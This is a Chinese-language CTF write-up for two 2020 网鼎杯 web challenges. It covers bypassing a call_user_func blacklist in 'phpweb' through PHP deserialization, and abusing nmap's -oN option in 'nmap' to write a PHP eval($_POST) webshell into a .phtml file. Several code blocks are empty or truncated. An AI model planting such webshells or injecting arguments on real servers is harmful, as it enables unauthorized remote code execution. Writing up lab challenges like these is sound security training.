2020-网鼎杯-phpweb
看到题目只有一个背景图还有规范的时间格式
其次注意到每隔一段时间,时间就会刷新,抓包看看
于是想到了这里有可能存在调用函数的破绽,尝试了几个常用的system(),shell_exec(),passthru()都被拦截了之后,试了试file_get_contents()发现可以,于是把index.php源码down下来了
1 | <!DOCTYPE html> |
通过反序列化绕过黑名单
利用思路
这个php的作用就是,接收传递过来的$func、$p参数,然后对$func进行黑名单过滤,然后使用call_user_func函数,将第一个参数作为回调函数,也就是$fun($p),然后再判断返回的结果是不是string格式的,如果是就输出,不是就返回空白字符串。
这里我们需要特殊注意的是这个__destruct函数,存在即合理,不会无缘无故存在但是没有任何作用,自然而然就想到反序列化,同时黑名单列表里面没有unserialize函数,所以猜想正确。
本地测试:
结果:
说明序列化和反序列化都会调用__destruct()函数
payload
构造payload
1 |
|
查看flag
1 | $c = new Test(); |
就得到最终flag了
nmap
题目:
index.php是一个输入hostname或者IP地址用于nmap的地方
然后list.php是一个查看结果的地方(存在一个.gitkeep的结果)
点开之后
url有点可疑
1 | /result.php?f=.gitkeep |
就目前的情况来看有几个方向:index.php里的命令执行,result.php里的文件包含,.git源码泄露,利用nmap参数读入输出指定文件
解法1
1.命令执行:;、|、||、&、&&、%0a、%0d都不行
2.文件包含:随便输入了几个都显示Wrong file name
3..git
源码泄露也不存在,仔细想想也跟题目不符
那么只剩下nmap参数读入文件输出文件了
payload:
之后访问tmp1.txt得到flag:
解法2
上传一句话木马,过滤了php字符串
可以上传=eval($\_POST[a]);?> 文件名为phtml
payload:’ -oN b.phtml =eval($\_POST[a]);?> ‘
之后用蚁剑连接就可以看到了